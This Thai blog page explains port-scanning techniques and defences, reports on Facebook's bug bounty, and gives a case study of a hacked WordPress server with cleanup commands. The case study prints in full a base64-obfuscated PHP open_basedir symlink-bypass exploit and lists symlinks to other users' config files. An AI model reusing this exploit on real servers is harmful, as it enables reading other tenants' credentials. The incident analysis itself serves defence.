Port Scanning
เป็นหนึ่งในเทคนิคที่โด่งดังที่สุดที่ผู้โจมตีใช้ในการค้นหาบริการที่พวก
เขาจะสามารถเจาะผ่านเข้าไปยังระบบได้ โดยปกติแล้วทุก ๆ
ระบบที่ต่อเข้าสู่ระบบ LAN
หรือระบบอินเทอร์เน็ตจะเปิดบริการทั้งที่อยู่บนพอร์ตที่เป็นที่รู้จักและ
ที่ไม่เป็นที่รู้จัก สำหรับการทำ Port Scanning นั้น
ผู้โจมตีจะสามารถค้นหาข้อมูลได้มากมายจากระบบของเป้าหมาย ได้แก่
บริการอะไรบ้างที่กำลังรันอยู่ ผู้ใช้คนไหนเป็นเจ้าของบริการเหล่านั้น
สนับสนุนการล็อกอินด้วย anonymous หรือไม่ และบริการด้านเครือข่ายมีการทำ
authenticat ion หรือไม่ การทำ Port Scanning
ทำได้โดยการส่งข้อความหนึ่งไปยังแต่ละพอร์ต ณ เวลาหนึ่ง ๆ
ผลลัพธ์ที่ตอบสนองออกมาจะแสดงให้เห็นว่าพอร์ตนั้น ๆ ถูกใช้อยู่หรือไม
่และสามารถทดสอบดู เพื่อหาจุดอ่อนต่อไปได้หรือไม่ Port Scanners
มีความสำคัญต่อผู้ชำนาญด้านความปลอดภัยของเครือข่ายมากเพราะว่ามันสามารถ
เปิดเผยจุดอ่อนด้านความปลอดภัยที่มีความเป็นไปได้ของระบบเป้าหมาย
ถึง
แม้ว่า Port Scans สามารถเกิดขึ้นกับระบบของคุณ
แต่ก็สามารถตรวจจับได้และก็สามารถใช้เครื่องมือที่เหมาะสมมาจำกัดจำนวนของ
ข้อมูลเกี่ยวกับบริการที่เปิดได้ ทุกๆระบบที่เปิด
สู่สาธารณะจะมีพอร์ตหลายพอร์ตที่เปิดและพร้อมให้ใช้งานได้
โดยมีการจำกัดจำนวนพอร์ตที่จะเปิดให้แก่ผู้ใช้ที่ได้รับอนุญาตและปฏิเสธการ
เข้าถึงมายังพอร์ตที่ปิด
เทคนิคต่าง ๆ ของ Port Scan
ก่อนที่
คุณจะป้องกัน Port Scans คุณก็จะต้องเข้าใจเสียก่อนว่า Port Scans
ทำงานอย่างไร เนื่องจากมีเทคนิคของ Port Scanning อยู่มากมายหลายรูปแบบ
ซึ่งมีเครื่องมือ Port Scanning ที่ทำงานโดยอัตโนมัติ เช่น Nmap และ Nessus
การ scan ต่อไปนี้เป็นรูปแบบมาตรฐานสำหรับ Nmap และ Nessus
1.
Address Resolution Protocol (ARP) scans
จะตรวจหาอุปกรณ์ที่ทำงานในเครือข่ายโดยการส่งชุดของ ARP broadcasts
และเพิ่มค่าของฟิลด์ที่บรรจุ IP address ของเป้าหมายในแต่ละ broadcast
packet การ scan ชนิดนี้จะได้รับผลตอบสนองจากอุปกรณ์ที่มี IP
บนเครือข่ายออกมาในรูปแบบของ IP address ของแต่ละอุปกรณ์ การ scan
แบบนี้จึงทำการ map out ได้ทั้งเครือข่ายอย่างมีประสิทธิภาพ
2.The
Vanilla TCP connect scan เป็นเทคนิคการ scan แบบพื้นฐานและง่ายที่สุด
คือจะใช้ connect system call
ของระบบปฏิบัติการไปบนระบบเป้าหมายเพื่อเปิดการเชื่อมต่อไปยังทุก ๆ
พอร์ตที่เปิดอยู่ การ scan ชนิดนี้สามารถจับได้ง่ายมาก โดยล็อก (log) ต่าง ๆ
ของระบบที่เป็นเป้าหมายจะแสดงการร้องขอการเชื่อมต่อ (connection requests )
และข้อความแสดงข้อผิดพลาด (error messages)
สำหรับบริการที่ตอบรับการเชื่อมต่อนั้น
3.The TCP SYN (Half Open)
scans เทคนิคนี้บางครั้งถูกเรียกว่า half open
เพราะว่าระบบที่ทำการโจมตีไม่ได้ปิดการเชื่อมต่อที่ได้เปิดไว้ scanner
จะส่ง SYN packet ไปยังเป้าหมายและรอการตอบสนอง
ถ้าพอร์ตถูกเปิดไว้เป้าหมายก็จะส่ง SYN/ACK กลับมา แต่ถ้าพอร์ตถูกปิดอยู่
เป้าหมายก็จะส่ง RST กลับมา วิธีการ scan รูปแบบนี้ยากต่อการตรวจจับ
ปกติเครื่องที่เป็นเป้าหมายจะทำหน้าที่ปิดการเชื่อมต่อที่เปิดไว้
และส่วนใหญ่จะไม่มีระบบการล็อกที่เหมาะสมในการตรวจจับการ scan ชนิดนี้
4.The
TCP FIN scan เทคนิคนี้สามารถที่จะทะลุผ่านไฟล์วอลล์ ส่วนใหญ่, packet
filters , cละโปรแกรมตรวจจับการ scan ไปได้โดยไม่ถูกตรวจพบ
เพราะระบบที่ทำการโจมตีจะส่ง FIN packets ไปยังระบบของเป้าหมาย
สำหรับพอร์ตต่าง ๆ ที่ปิดอยู่จะตอบสนองกลับไปด้วย RST
ส่วนพอร์ตที่เปิดจะไม่สนใจ packets เหล่านั้นเลย
ดังนั้นเครื่องที่ทำการโจมตีก็จะได้ข้อมูลว่ามันได้รับ RST
จากพอร์ตไหนบ้างและไม่ได้ RST จากพอร์ตไหนบ้าง
5.The TCP Reverse
Ident scan
เป็นเทคนิคที่สามารถตรวจหาชื่อของเจ้าของแต่ละโพรเซสที่เป็นการเชื่อมต่อ
ด้วย TCP บนเครื่องเป้าหมาย การ scan
ชนิดนี้จะทำให้ระบบที่ทำการโจมตีสามารถเชื่อมต่อเข้าไปยังพอร์ตที่เปิดอยู่
และใช้ ident protocol
ในการค้นหาว่าใครเป็นเจ้าของโพรเซสบนเครื่องเป้าหมายได้
6.The TCP
XMAS ถูกใช้เพื่อหาพอร์ตบนเครื่องเป้าหมายที่อยู่ในสถานะ listening
โดยจะส่ง TCP packet ที่มี flag เป็น URG, PSH และ FIN ใน TCP header
ไปยังพอร์ตของเครื่องเป้าหมาย ถ้าพอร์ต TCP ของเครื่องเป้าหมายปิดอยู่
พอร์ตนั้นก็จะส่ง RST กลับมา แต่ถ้าพอร์ตเปิดอยู่ก็จะไม่สนใจ packet
นั้นเลย
7.The TCP NULL scan เทคนิคนี้จะส่ง TCP packet ที่มี
sequence number แต่ไม่มี flag ออกไปยังเครื่องเป้าหมาย
ถ้าพอร์ตปิดอยู่จะส่ง กลับมา RST packet กลับมา แต่ถ้าพอร์ตเปิดอยู่
ก็จะไม่สนใจ packet นั้นเลย
8.The TCP ACK scan
เป็นเทคนิคที่ใช้ค้นหาเว็บไซต์ที่เปิดบริการอยู่ แต่ปฏิเสธการตอบสนองต่อ
ICMP ping หรือค้นหากฎ (rule) หรือนโยบาย ( policy) ต่าง ๆ
ที่ตั้งไว้ที่ไฟล์วอลล์เพื่อตรวจสอบดูว่าไฟล์วอลล์สามารถกรอง packet
อย่างง่าย ๆ หรือเทคนิคชั้นสูง โดยการ scan แบบนี้จะใช้ TCP packet ที่มี
flag เป็น ACK ส่งไปยังพอร์ตเครื่องปลายทาง ถ้าพอร์ตเปิดอยู่
เครื่องเป้าหมายจะส่ง RST กลับมา แต่ถ้าปิดอยู่ก็จะไม่สนใจ packet นั้น
9.The
FTP Bounce Attack ใช้โพรโตคอล ftp สำหรับสร้างการเชื่อมต่อบริการ ftp ของ
proxy วิธีการ scan แบบนี้ ผู้โจมตีจะสามารถซ่อนตัวอยู่หลัง ftp server
และ scan เป้าหมายอื่น ๆ ได้โดยไม่ถูกตรวจจับ ดังนั้น ftp servers
ส่วนใหญ่จะมีการ disable บริการของ ftp เพื่อความปลอดภัยของระบบ
10.The UDP ICMP port scan ใช้โพรโตคอล UDP ในการ scan หาพอร์ตหมายเลขสูง ๆ โดยเฉพาะในระบบ Solaris แต่จะช้าและไม่น่าเชื่อถือ
11.The
ICMP ping-sweeping scan จะใช้คำสั่ง ping
เพื่อกวาดดูว่ามีระบบไหนที่เปิดใช้งานอยู่
เครือข่ายส่วนใหญ่จึงมีการกรองหรือ disabled
โพรโตคอล ICMP เพื่อความปลอดภัยของระบบ
การปกป้องระบบจาก Port Scans
ถ้า
คุณมี server ที่เปิดให้เข้าถึงได้จากภายนอก
ระบบก็จะมีความเสี่ยงต่อการถูก scan port อย่างแน่นอน
ปัจจุบันนี้ยังไม่มีวิธีที่แน่นอนในการปราบ port scan เลย
และศาลก็พิจารณาว่าการทำ port scan นั้นไม่ผิดกฎหมาย
เพียงแต่ถ้าผู้โจมตีนำเอาข้อมูลจาก port scan
ไปใช้เจาะหรือเปิดพอร์ตของระบบจึงจะถือว่าผิดกฎหมาย
ดังนั้นจึงมีคำถามเกิดขึ้นว่า
เราจะทำอย่างไรในการจำกัดข้อมูลที่ถูกส่งออกไปจากระบบของเรา?
วิธี
หนึ่งที่จะจำกัดการเข้าถึงข้อมูลจากการทำ port scan ก็คือปิดบริการต่าง ๆ
ที่ไม่จำเป็นบนระบบ เช่น ถ้าคุณมีการเปิดบริการ web server
ก็ควรจะเปิดพอร์ตสำหรับ http เท่านั้น ในระบบ UNIX
มีวิธีที่ง่ายที่สุดในการจำกัดข้อมูลที่จะส่งให้ port scan คือ
การแก้ไขที่ไฟล์ /etc/inetd.conf โดยยกเลิกบริการที่ไม่จำเป็นออกไป
แล้วแก้ไขที่ไฟล์ของ runlevel ที่ระบบของคุณใช้อยู่
ซึ่งอยู่ภายใต้ไดเรกทอรี /etc/init.d
นอกจากนี้ระบบของคุณจะต้องไม่ได้กำลังรันในโหมด X11
มิฉะนั้นระบบของคุณก็จะส่ง broadcast ของบริการหมายเลขพอร์ต 6000
ออกไปไม่ว่าคุณจะล็อกอินหรือไม่ก็ตาม
อีกวิธีหนึ่ง คือ ใช้ TCP
Wrappers
ซึ่งช่วยให้ผู้ดูแลสามารถกำหนดการอนุญาตหรือปฏิเสธการเข้าถึงบริการต่าง ๆ
โดยอ้างอิงถึง IP addresses หรือ domain names โปรแกรม TCP Wrappers
ทำงานร่วมกับไฟล์ /etc/inetd.conf ซึ่งทำงานโดยเรียก tcpd daemon
ก่อนเพื่อจัดบริการเฉพาะให้ใช้งาน
เมื่อมีการร้องขอเข้ามาโดยตรวจได้จากพอร์ตที่อนุญาตให้เข้ามา ก่อนอื่น TCP
Wrappers ก็จะตรวจสอบไฟล์ /etc/hosts.allow เพื่อดูว่า IP addresses หรือ
domain name นั้น ๆ มีสิทธิเข้าถึงบริการหรือไม่
ถ้าไม่มีการระบุอยู่ในไฟล์นี้ TCP Wrappers ก็จะตรวจสอบที่ไฟล์
/etc/hosts.deny ถ้าไม่มีการระบุไว้อีกหรือมีข้อความเป็น ALL : ALL TCP
Wrappers ก็จะไม่สนใจการร้องขอนั้น
และไม่อนุญาตให้ใช้บริการที่ถูกร้องขอเข้ามา เมื่อระบบถูก scan port TCP
Wrapper จะยังคงอนุญาตให้ประกาศบริการออกไป แต่อย่างไรก็ตาม scanner
จะไม่ได้รับข้อมูลเพิ่มเติมใด ๆ จากพอร์ต ยกเว้นว่าจะเป็นการ scan มาจาก
host หรือ domain ที่ระบุไว้ในไฟล์ the /etc/hosts.allow เท่านั้น
เมื่อมีการ scan ระบบจะแสดงรายชื่อพอร์ตที่เปิดอยู่
และเมื่อผู้โจมตีพยายามเจาะเข้ามาทางพอร์ตที่เปิดอยู่นั้น TCP Wrapper
ก็จะปฏิเสธการเชื่อมต่อที่เข้ามาที่ไม่ได้มาจาก host หรือ domain
ที่ได้รับอนุญาต แต่ข้อเสียของ TCP Wrapper
คือไม่สามารถตรวจสอบได้ครอบคลุมทุกบริการ อย่างเช่น http และ smtp
ถ้าทำการตั้งค่าไม่เหมาะสมจะทำให้เสี่ยงต่อการถูกบุกรุกได้ TCP Wrappers
ไม่มีจุดอ่อนในเรื่องของ IP spoofing เพราะเมื่อมีการร้องขอเข้ามาTCP
Wrapper จะทำ reverse DNS lookup สำหรับ IP address ที่ร้องขอเข้ามา
ถ้าค้นพบว่ามีชื่อ domain ตรงกับ IP ที่ร้องขอเข้ามา TCP Wrapper
ก็จะอนุญาตการเชื่อมต่อนั้น แต่ถ้าไม่พบ domain ที่ตรงกับ IP TCP Wrapper
ก็จะพิจารณาว่าเป็น host
ที่ไม่ได้รับอนุญาตและจะไม่ให้ทำการเชื่อมต่อเข้ามา
และวิธีสุดท้าย
ในการจำกัดจำนวนข้อมูลที่จะให้แก่ port scans คือ การใช้ PortSentry
ผลิตโดย Psionic สำหรับ PortSentry
นั้นจะตรวจจับการเชื่อมต่อที่ร้องขอเข้ามาที่พอร์ตจำนวนหนึ่ง
และสามารถตั้งค่าให้ไม่ต้องสนใจการร้องขอเข้ามาได้โดยผู้ดูแลระบบสามารถ
เลือกว่าจะให้ PortSentry
สนใจการเชื่อมต่อเข้ามาที่พอร์ตไหนและจะปฏิเสธการร้องขอไหนบ้าง
ผู้ดูแลระบบจะต้องระบุรายการพอร์ตที่ระบบไม่สนับสนุนไว้ PortSentry
จะตรวจจับโดยการใช้ TCP Wrapper
และใส่ข้อมูลของผู้บุกรุกที่น่าสงสัยไว้ในไฟล์ /etc/hosts.deny PortSentry
จะสร้าง default route statement ให้แก่ระบบที่บุกรุก
โดยจะทำให้มีการสร้างเส้นทางให้แก่ทุก ๆ packets
จากระบบที่ทำการบุกรุกไปยังระบบอื่นหรือไม่ก็ระบบที่ไม่ได้เปิดอยู่
ทำให้ผลลัพธ์ที่ได้ คือ เสมือน ว่าเครื่องเป้าหมายไม่มีตัวตนอยู่จริง
บนระบบ Linux PortSentry สามารถตรวจจับการ scan ด้วย TCP และ UDP ทุกชนิด
ขณะที่ระบบ Solaris สามารถตรวจจับได้เพียงการ scan แบบ TCP Vanilla และ UDP
สรุป
ทุก
ๆ ระบบมีความเสี่ยงต่อการทำ port scanning ทั้งสิ้น การรุกที่ดีที่สุด คือ
การรับที่ดี
ดังนั้นอย่ายอมรับการติดตั้งระบบปฏิบัติการด้วยค่าที่ตั้งไว้ให้ตั้ง แต่ต้น
เพราะค่าเหล่านั้นส่วนใหญ่จะมีการเปิดพอร์ตไว้มากมายเพื่อให้ใช้งานได้
สะดวกขึ้น ก่อนที่จะเปิดให้บริการในระบบ จึงควรทำ port scan
ระบบคุณเสียก่อน ถ้าพบว่ามีพอร์ตที่ไม่จำเป็นต้องใช้ก็ปิดพอร์ตเหล่านั้น
เพราะยิ่งมีการบริการเปิดไว้มากก็ยิ่งทำให้ระบบมีจุดอ่อนมากขึ้นไปด้วย
ควรทำการตรวจสอบไฟล์ /etc/inetd.conf, /etc/init.d และไฟล์ run control
บนระบบของคุณอย่างสม่ำเสมอเพื่อค้นหาบริการที่ไม่จำเป็น
ถ้าระบบคุณถูกบุกรุก
ผุ้โจมตีจะพยายามเปิดพอร์ตบนระบบของคุณเพิ่มขึ้นเพื่อที่จะสามารถเจาะเข้า
มาที่จุดอ่อนของพอร์ตได้ง่ายขึ้น
ดังนั้นยิ่งผู้ดูแลระบบมีความรอบคอบมากเท่าไร
ก็ยิ่งทำให้ระบบมีความต้านทานต่อการเจาะเข้ามามากขึ้นและมีโอกาสถูกบุกรุก
น้อยลงเท่านั้น
โปรโมทเว็บ | โปรโมทเว็บไซต์ | โปรโมทเว็บขายของ | โปรโมทเว็บฟรี !!! รับทำโฆษณาผ่าน Google Adwords และ Facebook Ads , SEO, การตลาดออนไลน์, การโปรโมทเว็บ, สื่อทางการตลาด
แสดงบทความที่มีป้ายกำกับ hacker แสดงบทความทั้งหมด
แสดงบทความที่มีป้ายกำกับ hacker แสดงบทความทั้งหมด
1/04/2558
8/11/2556
เฟซบุ้คจ้างให้แฮก ใครแฮคเฟซบุ้คได้เอาเงินไปเลย
เมื่อสองปีก่อน เฟซบุ้คได้จ่ายเงิน 1 ล้านดอลล่าร์ให้กับแฮคเกอร์ 329 คนที่สามารถหาช่องโหว่ ที่ทางทีมงานของเฟซบุ้คหาไม่เจอ
นี่คือโปรแกรมที่ชื่อว่า Bug Bounty ที่เปิดตัวไปเมื่อ 2 ปีก่อน โดยแทนที่จะจ้างคนที่มีความสามารถ แต่หันไปใช้บริการแฮคเกอร์แทน ซึ่งคนกลุ่มนี้มักจะมีฝีมือสูง ชอบเล่นสนุกเจาะเข้าไปในระบบของบริษัทใหญ่ๆ ดังนั้นบริษัทยักษ์ใหญ่อย่างกูเกิล, เฟซบุ้คและไมโครซอฟท์จึงตัดสินใจหันมาใช้บริการคนเหล่านี้
กลุ่ม bug finding-community ของเฟซบุ้คเองก็เกิดจากการรวมตัวของผู้เชี่ยวชาญด้านความปลอดภัยในอุตสาหกรรมไอที, นักเรียนนักศึกษาและกลุ่มคนหนุ่มสาว โดยคนที่อายุน้อยสุดที่ร่วมการแข่งขันครั้งนี้มีอายุแค่ 13 ปีเอง
ส่วนเงินรางวัลนั้นก็ขึ้นอยู่กับว่าบั๊กหรือช่องโหว่ที่พบนั้นมีระดับความร้ายแรงแค่ไหน ยิ่งมีความเสี่ยงในการถูกเจาะระบบสูง เงินรางวัลก็เยอะตามไปด้วยไม่มีจำกัดเพดานไว้ ส่วนเงินรางวัลขั้นต่ำอยู่ที่ $500 หรือ 15,000 บาทค่ะ สถิติเมื่อสองปีก่อนคนที่ได้รางวัลสูงสุดเป็นจำนวนเงิน $20,000 หรือ 6 แสนกว่าบาทเลยทีเดียว
งานนี้เรียกว่าอยากเจาะระบบก้เจาะไป ยิ่งเจอช่องโหว่เยอะเฟซบุ้คยิ่งชอบ นอกจากนี้ถ้าฝีมือดีจริงเฟซบุ้คก็จะทาบทามจ้างงานแบบจริงๆจังเลยด้วยล่ะ ถ้าใครสนใจก็เข้าไปอ่านรายละเอียดได้ที่ https://www.facebook.com/whitehat/ ค่ะ
6/01/2556
Case Study: Web sites hacked, WordPress โดนแฮก และการแกะรอยแฮกเกอร์ (FingerPrint)
แฮกเกอร์:
ลักษณะการแฮก คือผู้ไม่หวังดีทำการอัพโหลดไฟล์ PHP สคริปต์ที่เขียนขึ้นเอง (ตัวอย่าง) ผ่านช่องโหว่ของปลั๊กอินสคริปต์อัพโหลดของ WordPress (“wp-content/uploads”) ขึ้นไปยังเว็บโฮสติ้ง โดยใช้ช่องโหว่ของ PHP 5.3.8 (exploits and vulnerabilities) ทำการ bypass ฟังก์ชั่น open_baseddir ให้เป็น Off (php.ini) หรือสมัครสมาชิกบนเว็บไซต์หลอกๆ แล้วเจาะช่องโหว่ผ่านยูสเซอร์ ทำให้สคริปต์สามารถทำงานทำงานบนไดร์เรกทอรีอื่นๆ ได้อีก คือยุ่มย่ามไปทั่วไดร์เรกทอรีเว็บไซต์ได้ตามสบาย เช่น การใช้เขียนสคริปต์คำสั่ง PHP ไปนำข้อมูลในไฟล์ “cat /etc/passwd” หรือการทำลิงก์ไปยัง / รูทไดเรกทอรี แล้วเขียน .htaccess ให้แสดงไฟล์ต่างบนเบราว์เซอร์ ลักษณ์นี้เรียกว่า PHP filesystem attacked สิ่งเหล่านี้แฮกเกอร์ล้วนใช้ประโยชน์จากช่องโหว่ของแอพพลิเคชั่น หรือใช้วิธีการที่เรียกกันว่า SQL Injection (การเจาะเข้าไปในระบบ) เพื่อเปลี่ยนแปลงข้อมูลเว็บไซต์และแสดงข้อมูลใหม่ต่อสายตาผู้เยี่ยมชมเว็บไซต์ ส่วนมากจะเป็นรูปภาพ หรือถ้อยคำไม่สุขภาพ เป็นต้น
ตัวอย่างโค๊ด [PHP 5.3.8 open_basedi() Bypass]: (ไม่ใช่สคริปต์สำหรับแฮก) ไป Base64 ดูโค๊ดกันเองนะครับ
/* * PHP 5.3.8 open_basedi() Bypasser * * Greetz: r0073r ( 1337day.com ), r4dc0re,Sid3^effects & all members of r00tw0rm.com * * By CrosS * Only for Educational Purpose )) * Submit your exploits at > Submit@1337day.com **/eval(base64_decode('JGZha2VkaXI9ImN4IjsNCiRmYWtlZGVwPTE2Ow0KDQokbnVtPTA7IC8vIG9mZnNldCBvZiBzeW1saW5rLiRudW0NCg0KaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dFVFsnZmlsZSddOw0KZWxzZSBpZighZW1wdHkoJF9QT1NUWydmaWxlJ10pKSAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsNCmVsc2UgJGZpbGU9IiI7DQoNCmVjaG8gJzxQUkU+PGltZyBzcmM9Imh0dHA6Ly93d3cucjAwdHcwcm0uY29tL2xvZ28ucG5nIj48UD48YQ0KaHJlZj0iaHR0cDovL3IwMHR3MHJtLmNvbS8iIHRpdGxlPSJSMDBUVzBSTSAtIFBIUCBTeW1saW5rKCkgQnlwYXNzZXIiPlIwMFRXMFJNIC0gUEhQIFN5bWxpbmsoKSBCeXBhc3NlcjwvYT4NCkF1dGhvciA6IENyb3NTDQo8cD5Gb3IgRWR1Y2F0aW9uYWwgUHVycG9zZSBPbmx5IEx1bHoNCjxwPlBIUCA1LjMuOCBzeW1saW5rIG9wZW5fYmFzZWRpciBieXBhc3MNCjxwPk1vcmU6IDxhIGhyZWY9Imh0dHA6Ly9yMDB0dzBybS5jb20vIj5SMDBUVzBSTSAtIFByaXZhdGUgQ29tbXVuaXR5PC9hPg0KPHA+PGZvcm0gbmFtZT0iZm9ybSINCiBhY3Rpb249Imh0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS5odG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuJyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iaHltIiB2YWx1ZT0iQ3JlYXRlIFN5bWxpbmsiPjwvZm9ybT4nOw0KDQppZihlbXB0eSgkZmlsZSkpDQoJZXhpdDsNCg0KaWYoIWlzX3dyaXRhYmxlKCIuIikpDQoJZGllKCJub3Qgd3JpdGFibGUgZGlyZWN0b3J5Iik7DQoNCiRsZXZlbD0wOw0KDQpmb3IoJGFzPTA7JGFzPCRmYWtlZGVwOyRhcysrKXsNCglpZighZmlsZV9leGlzdHMoJGZha2VkaXIpKQ0KCQlta2RpcigkZmFrZWRpcik7DQoJY2hkaXIoJGZha2VkaXIpOw0KfQ0KDQp3aGlsZSgxPCRhcy0tKSBjaGRpcigiLi4iKTsNCg0KJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7DQoNCmZvcigkYT0wOyRhPGNvdW50KCRoYXJkc3R5bGUpOyRhKyspew0KCWlmKCFlbXB0eSgkaGFyZHN0eWxlWyRhXSkpew0KCQlpZighZmlsZV9leGlzdHMoJGhhcmRzdHlsZVskYV0pKSANCgkJCW1rZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJY2hkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQkkYXMrKzsNCgl9DQp9DQokYXMrKzsNCndoaWxlKCRhcy0tKQ0KCWNoZGlyKCIuLiIpOw0KDQpAcm1kaXIoImZha2VzeW1saW5rIik7DQpAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KDQpAc3ltbGluayhzdHJfcmVwZWF0KCRmYWtlZGlyLiIvIiwkZmFrZWRlcCksImZha2VzeW1saW5rIik7DQoNCi8vIHRoaXMgbG9vcCB3aWxsIHNraXAgYWxscmVhZHkgY3JlYXRlZCBzeW1saW5rcy4NCndoaWxlKDEpDQoJaWYodHJ1ZT09KEBzeW1saW5rKCJmYWtlc3ltbGluay8iLnN0cl9yZXBlYXQoIi4uLyIsJGZha2VkZXAtMSkuJGZpbGUsICJzeW1saW5rIi4kbnVtKSkpIGJyZWFrOw0KCWVsc2UgJG51bSsrOw0KDQpAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KbWtkaXIoImZha2VzeW1saW5rIik7DQoNCmRpZSgnPEZPTlQgQ09MT1I9IlJFRCI+Y2hlY2sgc3ltbGluayA8YSBocmVmPSIuL3N5bWxpbmsnLiRudW0uJyI+c3ltbGluaycuJG51bS4nPC9hPiBmaWxlPC9GT05UPicpOw=='));?> |
ผลเสีย:
แน่นอนครับ ถ้าแก้ไขปัญหาได้เร็วก็โชดดีไปแล้ว แต่ถ้าไม่ทันการ กลุ่มแฮกเกอร์ก็จะประจานชื่อโดเมนเราต่อสายตาชาวโลก (แถมบันทึกชื่อเว็บไซต์ลงฐานข้อมูลให้ฟรีอีกต่างหากครับ)
แนวทางป้องกัน:
Webmaster: ครรอัพเดท CMS และ Plugin ที่ใช้งานอย่างสม่ำเสมอ (และก่อนอัพเดทควรตรวจสอบก่อนว่าเว็บเซิ์รฟเวอร์รองรับการทำงานหรือเปล่า)
Hosting Provider: เว็บเซิร์ฟเวอร์ควรทำ critical security update หรือ patch อย่างสม่ำเสมอ (เช่น PHP, Apache) และติดตามข่าวสาร exploit and vulnerability เพื่อรู้ทันแฮกเกอร์ (โดยปกติแล้วเหล่าแฮกเกอร์จะ submit exploits โชว์อยู่แล้ว)
สุดท้าย ไม่ว่าผู้ให้บริการเว็บโฮสติ้งจะระบบดีแค่ไหน เช่น การใช้เทคโนโลยีกลุ่มเมฆทำการกระจายโหลดโดยอัตโนมัติ (Cloud Technology) หรือระบบ HA ทั่วไป หากเว็บไซต์ยังขับเคลื่อนโดย CMS ผู้รับผิดชอบ (Webmaster) หรือ Web Developer (Outsource) ต้องใส่ใจเป็นพิเศษเรื่องความปลอดภัย
Case Study ก็คือแฮกเกอร์ทำการเจาะเข้าไปในระบบ (เจาะผ่านช่องทางไหน?) เพื่อเปลี่ยนแปลงข้อมูลเว็บไซต์ (ส่วนมากแล้ว หน้าแรก index ไฟล์) ส่วนข้อมูลใหม่ที่แสดงก็ขึ้นอยู่กับกลุ่มแฮกเกอร์เหล่านั้นใช้รูปภาพสัญญาลักษณ์อะไร หรืออาจถ้อยคำไม่สุขภาพ เป็นต้น แต่ที่สำคัญ case นี้แฮกเกอร์ไม่ได้ทำเท่าที่ว่ามา มีการรันสคริปต์ผ่านเว็บเบราว์เซอร์เพื่อให้ในการดึงข้อมูลระบบมาแสดง (รายละเอียดอธิบายด้านล่างครับ)
มาเริ่มเลยล่ะกัน
[ขั้นตอนที่ 1] – ให้สำรองไดรเรกทอรีที่ติดเชื้อไว้ทั้งหมด (ไดร์เรกทอรี WordPress)
[ขั้นตอนที่ 2] – สั่งหยุดการทำงานของเว็บเซิร์ฟเวอร์ (Apache)
[ขั้นตอนที่ 3] – แก้ไขปัญหาที่เกิดขึ้นอย่างรวดเร็ว (แบบชั่วคราวก่อน)
[3.1] ตรวจสอบไดร์เรกทอรี “wp-connent/uploads/” ว่ามีไฟล์แปลกบ้างไหม (ปกติ WordPress จะไม่มีไฟล์ PHP ในไดร์เรกทอรีนี้) หรือใช้วิธีเปรียบเทียบไฟล์กับข้อมูล backup ก็ได้
find . -wholename '*wp-content/uploads/*.php' -exec ls -al {} \; |
ผลลัพธ์ที่ได้ (คัดลอกมาเป็นตัวอย่าง)
lrwxrwxrwx 1 apache apache 33 May 27 20:13 ./wp-content/uploads/sTein/news .. config.php -> /home/news/public_html/config.phplrwxrwxrwx 1 apache apache 33 May 27 20:13 ./wp-content/uploads/sTein/pcap .. config.php -> /home/user1/public_html/config.phplrwxrwxrwx 1 apache apache 42 May 27 20:13 ./wp-content/uploads/sTein/user1.. conf_global.php -> /home/user1/public_html/conf_global.phplrwxrwxrwx 1 apache apache 34 May 27 20:13 ./wp-content/uploads/sTein/gdm .. Settings.php -> /home/gdm/public_html/Settings.phplrwxrwxrwx 1 apache apache 38 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/haldaemon .. config.php -> /home/haldaemon/public_html/config.phplrwxrwxrwx 1 apache apache 36 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/nscd .. wp-config.php -> /home/user1/public_html/wp-config.phplrwxrwxrwx 1 apache apache 39 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/operator .. Settings.php -> /home/operator/public_html/Settings.phplrwxrwxrwx 1 apache apache 34 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/avahi .. config.php -> /home/user1/public_html/config.phplrwxrwxrwx 1 apache apache 38 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/user1.. Settings.php -> /home/user1/public_html/Settings.phplrwxrwxrwx 1 apache apache 41 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/vmail .. configuration.php -> /home/vmail/public_html/configuration.phplrwxrwxrwx 1 apache apache 35 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/root .. Settings.php -> /home/root/public_html/Settings.phplrwxrwxrwx 1 apache apache 35 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/sshd .. Settings.php -> /home/sshd/public_html/Settings.phplrwxrwxrwx 1 apache apache 42 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/operator .. conf_global.php -> /home/operator/public_html/conf_global.phplrwxrwxrwx 1 apache apache 44 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/shutdown .. configuration.php -> /home/shutdown/public_html/configuration |
ก่อนที่จะลบอาจใช้วิธีค้นหาไฟล์ที่มีการแก้ไขใน 24 ชั่วโมงที่ผ่าน (trick ดูเฉพาะไฟล์ที่เป็น utf8)
find . -mmin -1440 -iname "*.php" |
จากนั้นให้ลบไฟล์เหล่านั้นทิ้งอย่างให้เหลือ :-
find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \; |
สคริปต์แฮกเกอร์จัดเต็มอะไรให้เราบ้าง (ไดร์เรอทอรีที่สร้างขึ้น) มาดูกันครับ ไล้ลบให้หมดครับ
./INDISHELL/./wp-content/uploads/sTein/./wp-content/uploads/products_img/./wp-content/uploads/products_img/JAMBAN/./wp-content/uploads/products_img/index.php./confkiller.php./index.php |
จากนั้นลบไฟล์ที่ติดเชื้อ (Infected PHP files)
find . -iname "*utf*.php" -exec rm -rf {} \; |
